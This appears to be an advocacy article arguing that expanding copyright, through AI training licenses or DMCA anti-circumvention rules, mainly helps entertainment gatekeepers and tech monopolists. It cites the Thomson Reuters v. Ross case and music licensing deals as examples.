Pro-monopoly regulation through copyright won’t provide any meaningful economic support for vulnerable artists and creators. Because of the imbalance in bargaining power between creators and publishing gatekeepers, trying to help creators by giving them new rights under copyright law is like trying to help a bullied kid by giving them more lunch money for the bully to take.
Entertainment companies’ historical practices bear out this concern. For example, in the late-2000’s to mid-2010’s, music publishers and recording companies struck multimillion-dollar direct licensing deals with music streaming companies and video sharing platforms. Google reportedly paid more than $400 million to a single music label, and Spotify gave the major record labels a combined 18 percent ownership interest in its now- $100 billion company. Yet music labels and publishers frequently fail to share these payments with artists, and artists rarely benefit from these equity arrangements. There’s no reason to think that these same companies would treat their artists more fairly now.
AI Training
In the AI era, copyright may seem like a good way to prevent big tech from profiting from AI at individual creators’ expense—it’s not. In fact, the opposite is true. Developing a large language model requires developers to train the model on millions of works. Requiring developers to license enough AI training data to build a large language model would limit competition to all but the largest corporations—those that either have their own trove of training data or can afford to strike a deal with one that does. This would result in all the usual harms of limited competition, like higher costs, worse service, and heightened security risks. New, beneficial AI tools that allow people to express themselves or access information.
Advertisement
Legacy gatekeepers have already used copyright to stifle access to information and the creation of new tools for understanding it. Consider, for example, Thomson Reuters v. Ross Intelligence, the first of many copyright lawsuits over the use of works train AI. ROSS Intelligence was a legal research startup that built an AI-based tool to compete with ubiquitous legal research platforms like Lexis and Thomson Reuters’ Westlaw. ROSS trained its tool using “West headnotes” that Thomson Reuters adds to the legal decisions it publishes, paraphrasing the individual legal conclusions (what lawyers call “holdings”) that the headnotes identified. The tool didn’t output any of the headnotes, but Thomson Reuters sued ROSS anyways. A federal appeals court is still considering the key copyright issues in the case—which EFF weighed in on last year. EFF hopes that the appeals court will reject this overbroad interpretation of copyright law. But in the meantime, the case has already forced the startup out of business, eliminating a would-be competitor that might have helped increase access to the law.
Requiring developers to license AI training materials benefits tech monopolists as well. For giant tech companies that can afford to pay, pricey licensing deals offer a way to lock in their dominant positions in the generative AI market by creating prohibitive barriers to entry. The cost of licensing enough works to train an LLM would be prohibitively expensive for most would-be competitors.
The DMCA’s “Anti-Circumvention” Provision
The Digital Millennium Copyright Act’s “anti-circumvention” provision is another case in point. Congress ostensibly passed the DMCA to discourage would-be infringers from defeating Digital Rights Management (DRM) and other access controls and copy restrictions on creative works.
In practice, it’s done little to deter infringement—after all, large-scale infringement already invites massive legal penalties. Instead, Section 1201 has been used to block competition and innovation in everything from printer cartridges to garage door openers, videogame console accessories, and computer maintenance services. It’s been used to threaten hobbyists who wanted to make their devices and games work better. And the problem only gets worse as software shows up in more and more places, from phones to cars to refrigerators to farm equipment. If that software is locked up behind DRM, interoperating with it so you can offer add-on services may require circumvention. As a result, manufacturers get complete control over their products, long after they are purchased, and can even shut down secondary markets (as Lexmark did for printer ink, and Microsoft tried to do for Xbox memory cards.)
Advertisement
Giving rights holders a veto on new competition and innovation hurts consumers. Instead, we need balanced copyright policy that rewards consumers without impeding competition.